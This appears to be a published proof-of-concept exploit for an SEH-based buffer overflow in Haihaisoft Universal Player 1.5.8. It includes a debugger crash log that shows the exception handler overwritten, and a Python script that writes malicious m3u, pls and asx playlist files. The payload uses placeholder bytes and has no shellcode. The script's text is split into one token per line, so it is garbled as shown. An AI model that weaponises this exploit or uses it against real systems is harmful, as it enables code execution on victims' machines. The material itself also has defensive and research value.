#-----------------------------------------------------------------------------#
# Exploit Title: Haihaisoft Universal Player 1.5.8 - Buffer Overflow (SEH) #
# Date: Mar 25 2014 #
# Exploit Author: Gabor Seljan #
# Software Link: http://www.haihaisoft.com/hup.aspx #
# Version: 1.5.8.0 #
# Tested on: Windows XP SP3 #
#-----------------------------------------------------------------------------#
# (6ec.57c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=44444444 ecx=0000000f edx=00000000 esi=04bae7d0 edi=44444448
# eip=0069537f esp=04cb7b18 ebp=04cb7b58 iopl=0 nv up ei pl nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
# *** ERROR: Module load completed but symbols could not be loaded for mplayerc.exe
# mplayerc+0x29537f:
# 0069537f f3ab rep stos dword ptr es:[edi]
# 0:005> g
# (6ec.57c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=43434343 edx=7c9032bc esi=00000000 edi=00000000
# eip=43434343 esp=04cb7748 ebp=04cb7768 iopl=0 nv up ei pl zr na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
# 43434343 ?? ???
# 0:005> !exchain
# 04cb775c: ntdll!RtlConvertUlongToLargeInteger+7e (7c9032bc)
# 04cb7b4c: mplayerc+2e2e78 (006e2e78)
# 04cb8b80: 43434343
# Invalid exception stack at 42424242
#!/usr/bin/python
junk1
=
"\x80"
*
50
;
offset
=
"\x41"
*
1591
;
nSEH
=
"\x42"
*
4
;
SEH
=
"\x43"
*
4
;
junk2
=
"\x44"
*
5000
;
evil
=
"http://{junk1}{offset}{nSEH}{SEH}{junk2}"
.
format
(
*
*
locals
())
for
e
in
[
'm3u'
,
'pls'
,
'asx'
]:
if
e
is
'm3u'
:
poc
=
evil
elif
e
is
'pls'
:
poc
=
"[playlist]\nFile1={}"
.
format
(evil)
else
:
poc
=
"<asx version=\"3.0\"><entry><ref href=\"{}\"/></entry></asx>"
.
format
(evil)
try
:
print
(
"[*] Creating poc.%s file..."
%
e)
f
=
open
(
'poc.%s'
%
e,
'w'
)
f.write(poc)
f.close()
print
(
"[*] %s file successfully created!"
%
f.name)
except
:
print
(
"[!] Error while creating exploit file!"
)